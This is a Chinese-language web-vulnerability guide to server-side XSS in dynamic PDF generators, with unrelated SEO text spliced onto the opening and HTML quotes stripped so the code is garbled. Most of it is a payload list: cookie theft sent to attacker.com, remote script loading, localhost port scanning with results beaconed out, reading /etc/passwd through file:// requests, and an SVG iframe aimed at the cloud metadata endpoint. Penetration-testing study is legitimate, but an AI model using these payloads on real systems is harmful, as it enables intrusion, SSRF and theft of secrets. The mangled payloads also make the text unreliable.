网站用自己的电脑做服务器,怎么让别人看到自己做的网站,龙岩市网站建设,网站开发为什么要用框架【Web漏洞指南】服务器端 XSS#xff08;动态 PDF#xff09; 概述流行的 PDF 生成工具常见攻击载荷 概述
如果一个网页使用用户控制的输入创建 PDF#xff0c;您可以尝试欺骗创建 PDF 的机器人以执行任意的 JS 代码。 因此#xff0c;如果PDF 创建机器人发现某种HTML标签… 【Web漏洞指南】服务器端 XSS动态 PDF 概述流行的 PDF 生成工具常见攻击载荷 概述
如果一个网页使用用户控制的输入创建 PDF您可以尝试欺骗创建 PDF 的机器人以执行任意的 JS 代码。 因此如果PDF 创建机器人发现某种HTML标签并且解释它们您可以滥用这种行为来引起服务器 XSS。 在常规利用中能够查看/下载创建的 PDF因此您将能够查看您通过 JS 编写的所有内容例如使用 document.write()。但是如果您无法看到创建的 PDF可能需要通过向您发出网络请求来提取信息盲人测试 流行的 PDF 生成工具
wkhtmltopdf 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名TCPDF 在 PHP 生态系统中提供了一个强大的 PDF 生成解决方案对于在 Node.js 环境中工作的人PDFKit 提供了一个可行的选择。它使得可以直接从 HTML 和 CSS 生成 PDF 文档Java 开发人员可能更喜欢 iText这是一个库不仅有助于 PDF 创建还支持高级功能如数字签名和表单填充FPDF 是另一个 PHP 库以其简单性和易用性而著称 常见攻击载荷
1、测试XSS
!-- 基本测试 --
img srcx onerrordocument.write(test) /
scriptdocument.write(JSON.stringify(window.location))/script
scriptdocument.write(iframe srcwindow.location.href/iframe)/script!-- 盲测 --
img srchttp://attacker.com/
img srcx onerrorlocation.hrefhttp://attacker.com/?c document.cookie
scriptnew Image().srchttp://attacker.com/?cencodeURI(document.cookie);/script
link relattachment hrefhttp://attacker.com2、SVG payload
一个访问Burpcollab子域的iframe和另一个访问元数据端点的iframe
svg xmlns:xlinkhttp://www.w3.org/1999/xlink version1.1 classroot width800 height500
g
foreignObject width800 height500
body xmlnshttp://www.w3.org/1999/xhtml
iframe srchttp://redacted.burpcollaborator.net width800 height500/iframe
iframe srchttp://169.254.169.254/latest/meta-data/ width800 height500/iframe
/body
/foreignObject
/g
/svgsvg width100% height100% viewBox0 0 100 100
xmlnshttp://www.w3.org/2000/svg
circle cx50 cy50 r45 fill
idfoo/
script typetext/javascript
// ![CDATA[
alert(1);
// ]]
/script
/svg更多SVG负载
https://github.com/allanlw/svg-cheatsheet
3、路径泄露
img srcx onerrordocument.write(window.location) /
script document.write(window.location) /script4、加载外部脚本
利用这个漏洞的最佳方法是滥用漏洞使机器人加载您本地控制的脚本。然后您将能够在本地更改有效负载并使机器人每次都使用相同的代码加载它。
script srchttp://attacker.com/myscripts.js/script
img srcxasdasdasd οnerrοrdocument.write(script srchttps://attacker.com/test.js/script)/5、机器人延迟
让机器人每 500 毫秒发送一次 ping 来检查机器人等待了多长时间
script
let time 500;
setInterval((){
let img document.createElement(img);
img.src https://attacker.com/ping?time${time}ms;
time 500;
}, 500);
/script
img srchttps://attacker.com/delay6、端口扫描
script
const checkPort (port) {
fetch(http://localhost:${port}, { mode: no-cors }).then(() {
let img document.createElement(img);
img.src http://attacker.com/ping?port${port};
});
}for(let i0; i1000; i) {
checkPort(i);
}
/script
img srchttps://attacker.com/startingScan7、读取本地文件 / SSRF
script
xnew XMLHttpRequest;
x.onloadfunction(){document.write(btoa(this.responseText))};
x.open(GET,file:///etc/passwd);x.send();
/scriptscript
xhzeem new XMLHttpRequest();
xhzeem.onload function(){document.write(this.responseText);}
xhzeem.onerror function(){document.write(failed!)}
xhzeem.open(GET,file:///etc/passwd);
xhzeem.send();
/scriptiframe srcfile:///etc/passwd/iframe
img srcxasdasdasd onerrordocument.write(iframe srcfile:///etc/passwd/iframe)/
link relattachment hreffile:///root/secret.txt
object datafile:///etc/passwd
portal srcfile:///etc/passwd idportal
embed srcfile:///etc/passwd width400 height400
styleiframe srcfile:///etc/passwd
img srcx onerrordocument.write(iframe srcfile:///etc/passwd/iframe)/textwidth500height500
meta http-equivrefresh content0;urlfile:///etc/passwd /annotation file/etc/passwd content/etc/passwd iconGraph titleAttached File: /etc/passwd pos-x195 /